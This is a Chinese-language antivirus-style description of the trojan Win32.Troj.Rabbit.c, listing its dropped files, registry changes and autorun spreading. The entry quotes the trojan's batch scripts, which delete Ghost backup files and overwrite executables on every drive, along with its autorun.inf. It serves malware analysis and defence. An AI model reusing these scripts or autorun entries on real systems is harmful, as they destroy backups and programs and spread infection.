| 導購 | 订阅 | 在线投稿
分享
 
 
 

Win32.Troj.Rabbit.c

2008-08-14 22:52:23  編輯來源:互聯網  简体版  手機版  評論  字體: ||
 
  病毒名稱(中文):

  

  病毒別名:

  

  

  威脅級別:

  ★☆☆☆☆

  病毒類型:

  木馬程序

  病毒長度:

  192099

  影響系統:

  Win9xWinMeWinNTWin2000WinXPWin2003

  

  病毒行爲:

  該病毒是一個木馬。該病毒會直接替換系統盤programfiles和其他盤目錄下的exe文件文件和刪除gho備份文件,同時該病毒還有下載並運行一灰鴿子病毒。

  1、生成的文件

  %SystemRoot%\system32\loveRabbit~.exe

  %SystemRoot%\system32\MS006TZ.dll.exe

  %SystemRoot%\system32\Rabbit.exe

  %SystemRoot%\ILTZ.bat

  %SystemRoot%\IOTZ.bat

  %SystemRoot%\DLL.bat

  %SystemRoot%\GHO.bat

  %SystemRoot%\ILTZ.inf

  %SystemRoot%\system32\JK~.exe

  %SystemRoot%\system32\msexch400.dll

  %SystemRoot%\system32\sha~.bat

  %C:%\Rabbit.exe

  %C:%\AutoRun.inf

  2、添加啓動項

  HKLM\SOFTWARE\Microsoft\ActiveSetup\InstalledComponents\{4bf41072-b2b1-21c1-b5c1-0305f4155515}"StubPath"="%SystemRoot%\system32\JK~.exe"

  3、刪除以下鍵:

  SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}

  SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}

  4、執行%SystemRoot%\ILTZ.bat文件,將d到z盤的exe文件路徑記錄在ILTZ.inf文件,將c盤到z盤的ghost備份文件路徑記錄到GHO.inf文件和將系統盤下programfiles目錄下的exe文件路徑記錄在IOTZ.inf文件

  ---------------------------------------------------------

  set/Ar=%random%

  FOR%%ain(d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/s/b%%a\*.exe>>%windir%\ILTZ.inf

  FOR%%ain(c:d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/a:-/b%%a\*.gho>>%windir%\GHO.inf

  cd%windir%

  cd..

  cdProgramFiles

  dir*.exe/s/b>>%windir%\IOTZ.inf

  IOTZ.bat

  GHO.bat

  ----------------------------------------------------------

  5、執行GHO.bat,IOTZ.bat文件刪除GHO.inf裏指定的路徑的gho文件和替換ILTZ.inf,IOTZ.inf指定路徑的exe文件

  GHO.bat>

  ----------------------------------------------------------------

  FOR/f"delims="%%iin(%windir%\GHO.inf)dodel/a:-"%%i"

  ----------------------------------------------------------------

  IOTZ.bat>

  ------------------------------------------------------------------------------------------

  FOR/f"delims="%%iin(%windir%\ILTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i"

  FOR/f"delims="%%iin(%windir%\IOTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i"

  ------------------------------------------------------------------------------------------

  6、在c,d,e,f,g,h盤裏生成autorun啓動

  ------------------------------------

  [autorun]

  Label=本地磁盤

  Shellexecute=Rabbit.exe

  ------------------------------------

  7、下載並執行http://www.beecool.***/help.htm腳本,該腳本會下執行載最新版變種和一灰鴿子木馬。
 
病毒名稱(中文): 病毒別名: 威脅級別: ★☆☆☆☆ 病毒類型: 木馬程序 病毒長度: 192099 影響系統: Win9xWinMeWinNTWin2000WinXPWin2003 病毒行爲: 該病毒是一個木馬。該病毒會直接替換系統盤programfiles和其他盤目錄下的exe文件文件和刪除gho備份文件,同時該病毒還有下載並運行一灰鴿子病毒。 1、生成的文件 %SystemRoot%\system32\loveRabbit~.exe %SystemRoot%\system32\MS006TZ.dll.exe %SystemRoot%\system32\Rabbit.exe %SystemRoot%\ILTZ.bat %SystemRoot%\IOTZ.bat %SystemRoot%\DLL.bat %SystemRoot%\GHO.bat %SystemRoot%\ILTZ.inf %SystemRoot%\system32\JK~.exe %SystemRoot%\system32\msexch400.dll %SystemRoot%\system32\sha~.bat %C:%\Rabbit.exe %C:%\AutoRun.inf 2、添加啓動項 HKLM\SOFTWARE\Microsoft\ActiveSetup\InstalledComponents\{4bf41072-b2b1-21c1-b5c1-0305f4155515}"StubPath"="%SystemRoot%\system32\JK~.exe" 3、刪除以下鍵: SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} 4、執行%SystemRoot%\ILTZ.bat文件,將d到z盤的exe文件路徑記錄在ILTZ.inf文件,將c盤到z盤的ghost備份文件路徑記錄到GHO.inf文件和將系統盤下programfiles目錄下的exe文件路徑記錄在IOTZ.inf文件 --------------------------------------------------------- set/Ar=%random% FOR%%ain(d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/s/b%%a\*.exe>>%windir%\ILTZ.inf FOR%%ain(c:d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/a:-/b%%a\*.gho>>%windir%\GHO.inf cd%windir% cd.. cdProgramFiles dir*.exe/s/b>>%windir%\IOTZ.inf IOTZ.bat GHO.bat ---------------------------------------------------------- 5、執行GHO.bat,IOTZ.bat文件刪除GHO.inf裏指定的路徑的gho文件和替換ILTZ.inf,IOTZ.inf指定路徑的exe文件 GHO.bat> ---------------------------------------------------------------- FOR/f"delims="%%iin(%windir%\GHO.inf)dodel/a:-"%%i" ---------------------------------------------------------------- IOTZ.bat> ------------------------------------------------------------------------------------------ FOR/f"delims="%%iin(%windir%\ILTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i" FOR/f"delims="%%iin(%windir%\IOTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i" ------------------------------------------------------------------------------------------ 6、在c,d,e,f,g,h盤裏生成autorun啓動 ------------------------------------ [autorun] Label=本地磁盤 Shellexecute=Rabbit.exe ------------------------------------ 7、下載並執行http://www.beecool.***/help.htm腳本,該腳本會下執行載最新版變種和一灰鴿子木馬。
󰈣󰈤
 
 
 
>>返回首頁<<
 
 
 
 
 熱帖排行
 
王朝網路微信公眾號
微信掃碼關註本站公眾號 wangchaonetcn
 
  免責聲明:本文僅代表作者個人觀點,與王朝網絡無關。王朝網絡登載此文出於傳遞更多信息之目的,並不意味著贊同其觀點或證實其描述,其原創性以及文中陳述文字和內容未經本站證實,對本文以及其中全部或者部分內容、文字的真實性、完整性、及時性本站不作任何保證或承諾,請讀者僅作參考,並請自行核實相關內容。
 
© 2005- 王朝網路 版權所有